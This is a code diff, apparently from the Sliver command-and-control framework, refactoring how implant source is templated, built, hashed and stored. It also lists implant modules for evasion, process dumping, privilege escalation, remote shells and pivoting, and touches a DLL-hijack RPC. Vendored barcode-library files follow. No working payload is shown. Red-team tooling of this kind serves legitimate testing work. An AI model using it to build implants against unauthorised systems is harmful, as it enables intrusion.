sliverCodePath = path.Join(sliverPkgDir, "implant", fsPath)
|
||||
}
|
||||
dirPath := path.Dir(sliverCodePath)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
fSliver, err := os.Create(sliverCodePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
buf := bytes.NewBuffer([]byte{})
|
||||
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
|
||||
buildLog.Infof("[render] %s -> %s", f.Name(), sliverCodePath)
|
||||
|
||||
// Render code
|
||||
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
|
||||
// --------------
|
||||
// Render Code
|
||||
// --------------
|
||||
sliverCodeTmpl := template.New("sliver")
|
||||
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Template parsing error %s", err)
|
||||
return err
|
||||
}
|
||||
err = sliverCodeTmpl.Execute(buf, struct {
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
OTPSecret string
|
||||
HTTPC2ImplantConfig *configs.HTTPC2ImplantConfig
|
||||
}{
|
||||
name,
|
||||
config,
|
||||
otpSecret,
|
||||
configs.GetHTTPC2Config().RandomImplantConfig(),
|
||||
})
|
||||
if err != nil {
|
||||
buildLog.Error(err)
|
||||
return "", err
|
||||
buildLog.Errorf("Template execution error %s", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Render canaries
|
||||
@@ -624,14 +604,18 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
"GenerateCanary": canaryGenerator.GenerateCanary,
|
||||
}).Parse(buf.String())
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
err = canaryTmpl.Execute(fSliver, canaryGenerator)
|
||||
|
||||
if err != nil {
|
||||
buildLog.Infof("Failed to render go code: %s", err)
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Render GoMod
|
||||
|
||||
@@ -140,7 +140,7 @@ func mtlsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -159,7 +159,7 @@ func dnsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -182,7 +182,7 @@ func httpExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -209,7 +209,7 @@ func multiExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -235,7 +235,7 @@ func multiWindowsService(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,7 +258,7 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -281,7 +281,7 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -310,7 +310,7 @@ func wireguardExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
certs.SetupWGKeys()
|
||||
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -342,7 +342,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -365,6 +365,6 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,8 @@ package generate
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -34,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/watchtower"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
|
||||
return buildsDir, nil
|
||||
}
|
||||
|
||||
// ImplantConfigSave - Save only the config to the database
|
||||
func ImplantConfigSave(config *models.ImplantConfig) error {
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
UpdateAll: true,
|
||||
}).Create(&config)
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ImplantBuildSave - Saves a binary file into the database
|
||||
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
|
||||
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
|
||||
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sum := md5.Sum(data)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
|
||||
buildsDir, err := getBuildsDir()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: name,
|
||||
ImplantConfig: (*config),
|
||||
Checksum: hash,
|
||||
MD5: md5Hash,
|
||||
SHA1: sha1Hash,
|
||||
SHA256: sha256Hash,
|
||||
}
|
||||
watchtower.AddImplantToWatchlist(implantBuild)
|
||||
result := dbSession.Create(&implantBuild)
|
||||
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
md5Sum := md5.Sum(data)
|
||||
md5Hash := hex.EncodeToString(md5Sum[:])
|
||||
sha1Sum := sha1.Sum(data)
|
||||
sha1Hash := hex.EncodeToString(sha1Sum[:])
|
||||
sha256Sum := sha256.Sum256(data)
|
||||
sha256Hash := hex.EncodeToString(sha256Sum[:])
|
||||
return md5Hash, sha1Hash, sha256Hash
|
||||
}
|
||||
|
||||
// ImplantFileFromBuild - Saves a binary file into the database
|
||||
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
|
||||
buildsDir, err := getBuildsDir()
|
||||
|
||||
@@ -1,216 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// These files get rendered as part of the build process.
|
||||
|
||||
// If you add a file to `implant/sliver/` it won't be automatically included
|
||||
// as part of the build by the server, you have to add it here.
|
||||
|
||||
var (
|
||||
srcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"evasion/evasion.go",
|
||||
"evasion/evasion_darwin.go",
|
||||
"evasion/evasion_linux.go",
|
||||
"evasion/evasion_windows.go",
|
||||
|
||||
"extension/extension.go",
|
||||
"extension/extension_windows.go",
|
||||
"extension/extension_darwin.go",
|
||||
|
||||
"forwarder/forwarder.go",
|
||||
"forwarder/socks.go",
|
||||
"forwarder/portforward.go",
|
||||
|
||||
// C files for DLL
|
||||
"sliver.h",
|
||||
"sliver.c",
|
||||
|
||||
"handlers/rpc-handlers.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/pivot-handlers.go",
|
||||
"handlers/special-handlers.go",
|
||||
"handlers/handlers_darwin.go",
|
||||
"handlers/handlers_linux.go",
|
||||
"handlers/handlers_windows.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"hostuuid/uuid.go",
|
||||
"hostuuid/uuid_windows.go",
|
||||
"hostuuid/uuid_darwin.go",
|
||||
"hostuuid/uuid_linux.go",
|
||||
|
||||
"limits/limits.go",
|
||||
"limits/limits_windows.go",
|
||||
"limits/limits_darwin.go",
|
||||
"limits/limits_linux.go",
|
||||
|
||||
"netstat/netstat.go",
|
||||
"netstat/netstat_windows.go",
|
||||
"netstat/netstat_linux.go",
|
||||
"netstat/netstat_darwin.go",
|
||||
"netstat/netstat_types_darwin.go",
|
||||
|
||||
"procdump/dump.go",
|
||||
"procdump/dump_windows.go",
|
||||
"procdump/dump_linux.go",
|
||||
"procdump/dump_darwin.go",
|
||||
|
||||
"proxy/provider_darwin.go",
|
||||
"proxy/provider_linux.go",
|
||||
"proxy/provider_windows.go",
|
||||
"proxy/provider.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"ps/ps.go",
|
||||
"ps/ps_windows.go",
|
||||
"ps/ps_linux.go",
|
||||
"ps/ps_darwin.go",
|
||||
"ps/ps_types_darwin.go",
|
||||
|
||||
"registry/registry.go",
|
||||
"registry/registry_windows.go",
|
||||
|
||||
"service/service.go",
|
||||
"service/service_windows.go",
|
||||
|
||||
"shell/shell.go",
|
||||
"shell/shell_windows.go",
|
||||
"shell/shell_darwin.go",
|
||||
"shell/pty/pty_darwin.go",
|
||||
"shell/shell_linux.go",
|
||||
"shell/pty/pty_linux.go",
|
||||
|
||||
"shell/pty/run.go",
|
||||
"shell/pty/util.go",
|
||||
"shell/pty/doc.go",
|
||||
"shell/pty/types.go",
|
||||
"shell/pty/ztypes_386.go",
|
||||
"shell/pty/ztypes_amd64.go",
|
||||
"shell/pty/ioctl.go",
|
||||
"shell/pty/ioctl_bsd.go",
|
||||
"shell/pty/ioctl_darwin.go",
|
||||
"shell/pty/pty_unsupported.go",
|
||||
|
||||
"shell/ssh/ssh.go",
|
||||
|
||||
"taskrunner/task.go",
|
||||
"taskrunner/task_windows.go",
|
||||
"taskrunner/task_darwin.go",
|
||||
"taskrunner/task_linux.go",
|
||||
|
||||
"priv/priv.go",
|
||||
"priv/priv_windows.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/named-pipe_windows.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"screen/screen.go",
|
||||
"screen/screenshot_darwin.go",
|
||||
"screen/screenshot_linux.go",
|
||||
"screen/screenshot_windows.go",
|
||||
|
||||
"syscalls/syscalls.go",
|
||||
"syscalls/syscalls_windows.go",
|
||||
"syscalls/types_windows.go",
|
||||
"syscalls/zsyscalls_windows.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version.go",
|
||||
"version/version_windows.go",
|
||||
"version/version_linux.go",
|
||||
"version/version_darwin.go",
|
||||
|
||||
"winhttp/winhttp.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
|
||||
// PURE GO only - For compiling to unsupported platforms
|
||||
genericSrcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"handlers/handlers_default.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"shell/shell_default.go",
|
||||
|
||||
"hostuuid/uuid_default.go",
|
||||
|
||||
"limits/limits.go",
|
||||
"limits/limits_default.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"proxy/provider.go",
|
||||
"proxy/provider_default.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version_default.go",
|
||||
"version/version.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
)
|
||||
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
|
||||
}
|
||||
|
||||
func registerSessionHandler(session *core.Session, data []byte) {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Warnf("error decoding message: %v", err)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session == nil {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Errorf("Error decoding message: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
|
||||
// Parse Register UUID
|
||||
sessionUUID, err := uuid.Parse(register.Uuid)
|
||||
if err != nil {
|
||||
// Generate Random UUID
|
||||
sessionUUID = uuid.New()
|
||||
sessionUUID = uuid.New() // Generate Random UUID
|
||||
}
|
||||
|
||||
session.Name = register.Name
|
||||
session.Hostname = register.Hostname
|
||||
session.UUID = sessionUUID.String()
|
||||
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
|
||||
}
|
||||
|
||||
func pingHandler(session *core.Session, data []byte) {
|
||||
handlerLog.Infof("ping from session %d", session.ID)
|
||||
handlerLog.Debugf("ping from session %d", session.ID)
|
||||
}
|
||||
@@ -37,12 +37,12 @@ import (
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
var (
|
||||
refDLL []byte
|
||||
targetDLLData []byte
|
||||
)
|
||||
resp := &sliverpb.DllHijack{
|
||||
resp := &clientpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
|
||||
@@ -21,8 +21,8 @@ var (
|
||||
|
||||
func update(implantBuild *models.ImplantBuild) {
|
||||
if watcher != nil && initialized {
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
|
||||
watcher.Add(implantBuild.Name, implantBuild.Checksum)
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
|
||||
watcher.Add(implantBuild.Name, implantBuild.MD5)
|
||||
watchtowerLog.Debugf("Implant added to the watch list")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -96,6 +96,7 @@ func AddWebsite(websiteName string) (*models.Website, error) {
|
||||
website = &models.Website{Name: websiteName}
|
||||
err = dbSession.Create(&website).Error
|
||||
}
|
||||
dbSession.Commit()
|
||||
return website, err
|
||||
}
|
||||
|
||||
@@ -129,6 +130,7 @@ func AddContent(websiteName string, path string, contentType string, content []b
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dbSession.Commit()
|
||||
|
||||
// Write content to disk
|
||||
webContentDir, err := getWebContentDir()
|
||||
@@ -176,7 +178,8 @@ func RemoveContent(websiteName string, path string) error {
|
||||
}
|
||||
|
||||
// Delete row
|
||||
result = dbSession.Delete(&content)
|
||||
result = dbSession.Delete(&models.WebContent{}, content.ID)
|
||||
dbSession.Commit()
|
||||
return result.Error
|
||||
}
|
||||
|
||||
|
||||
@@ -170,6 +170,12 @@ func TestRemoveContent(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
_, _, err = GetContent(website1, "/foobar")
|
||||
if !errors.Is(err, db.ErrRecordNotFound) {
|
||||
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
|
||||
}
|
||||
|
||||
_, _, err = GetContent(website1, "/data1")
|
||||
if !errors.Is(err, db.ErrRecordNotFound) {
|
||||
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
|
||||
|
||||
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
|
||||
if encoder, ok := EncoderMap[encoderID]; ok {
|
||||
return encoderID, encoder, nil
|
||||
}
|
||||
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
|
||||
return -1, nil, errors.New("Invalid encoder nonce")
|
||||
}
|
||||
|
||||
// RandomEncoder - Get a random nonce identifier and a matching encoder
|
||||
|
||||
+1
@@ -0,0 +1 @@
|
||||
.vscode/
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2014 Florian Sundermann
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
[](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
||||
|
||||
## Introduction ##
|
||||
|
||||
This is a package for GO which can be used to create different types of barcodes.
|
||||
|
||||
## Supported Barcode Types ##
|
||||
* 2 of 5
|
||||
* Aztec Code
|
||||
* Codabar
|
||||
* Code 128
|
||||
* Code 39
|
||||
* Code 93
|
||||
* Datamatrix
|
||||
* EAN 13
|
||||
* EAN 8
|
||||
* PDF 417
|
||||
* QR Code
|
||||
|
||||
## Example ##
|
||||
|
||||
This is a simple example on how to create a QR-Code and write it to a png-file
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"image/png"
|
||||
"os"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/qr"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Create the barcode
|
||||
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
|
||||
|
||||
// Scale the barcode to 200x200 pixels
|
||||
qrCode, _ = barcode.Scale(qrCode, 200, 200)
|
||||
|
||||
// create the output file
|
||||
file, _ := os.Create("qrcode.png")
|
||||
defer file.Close()
|
||||
|
||||
// encode the barcode as png
|
||||
png.Encode(file, qrCode)
|
||||
}
|
||||
```
|
||||
|
||||
## Documentation ##
|
||||
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
|
||||
|
||||
To create a barcode use the Encode function from one of the subpackages.
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
package barcode
|
||||
|
||||
import "image"
|
||||
|
||||
const (
|
||||
TypeAztec = "Aztec"
|
||||
TypeCodabar = "Codabar"
|
||||
TypeCode128 = "Code 128"
|
||||
TypeCode39 = "Code 39"
|
||||
TypeCode93 = "Code 93"
|
||||
TypeDataMatrix = "DataMatrix"
|
||||
TypeEAN8 = "EAN 8"
|
||||
TypeEAN13 = "EAN 13"
|
||||
TypePDF = "PDF417"
|
||||
TypeQR = "QR Code"
|
||||
Type2of5 = "2 of 5"
|
||||
Type2of5Interleaved = "2 of 5 (interleaved)"
|
||||
)
|
||||
|
||||
// Contains some meta information about a barcode
|
||||
type Metadata struct {
|
||||
// the name of the barcode kind
|
||||
CodeKind string
|
||||
// contains 1 for 1D barcodes or 2 for 2D barcodes
|
||||
Dimensions byte
|
||||
}
|
||||
|
||||
// a rendered and encoded barcode
|
||||
type Barcode interface {
|
||||
image.Image
|
||||
// returns some meta information about the barcode
|
||||
Metadata() Metadata
|
||||
// the data that was encoded in this barcode
|
||||
Content() string
|
||||
}
|
||||
|
||||
// Additional interface that some barcodes might implement to provide
|
||||
// the value of its checksum.
|
||||
type BarcodeIntCS interface {
|
||||
Barcode
|
||||
CheckSum() int
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
|
||||
|
||||
func stringToAlphaIdx(content string) <-chan int {
|
||||
result := make(chan int)
|
||||
go func() {
|
||||
for _, r := range content {
|
||||
idx := strings.IndexRune(charSet, r)
|
||||
result <- idx
|
||||
if idx < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
|
||||
contentLenIsOdd := len(content)%2 == 1
|
||||
contentBitCount := (len(content) / 2) * 11
|
||||
if contentLenIsOdd {
|
||||
contentBitCount += 6
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(alphaNumericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
|
||||
|
||||
encoder := stringToAlphaIdx(content)
|
||||
|
||||
for idx := 0; idx < len(content)/2; idx++ {
|
||||
c1 := <-encoder
|
||||
c2 := <-encoder
|
||||
if c1 < 0 || c2 < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c1*45+c2, 11)
|
||||
}
|
||||
if contentLenIsOdd {
|
||||
c := <-encoder
|
||||
if c < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c, 6)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
|
||||
return res, vi, nil
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
bits, vi, _ := Numeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = Unicode.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package qr
|
||||
|
||||
type block struct {
|
||||
data []byte
|
||||
ecc []byte
|
||||
}
|
||||
type blockList []*block
|
||||
|
||||
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
|
||||
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[b] = blk
|
||||
}
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (bl blockList) interleave(vi *versionInfo) []byte {
|
||||
var maxCodewordCount int
|
||||
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
} else {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
}
|
||||
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
|
||||
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
|
||||
|
||||
result := make([]byte, 0, resultLen)
|
||||
for i := 0; i < maxCodewordCount; i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
if len(bl[b].data) > i {
|
||||
result = append(result, bl[b].data[i])
|
||||
}
|
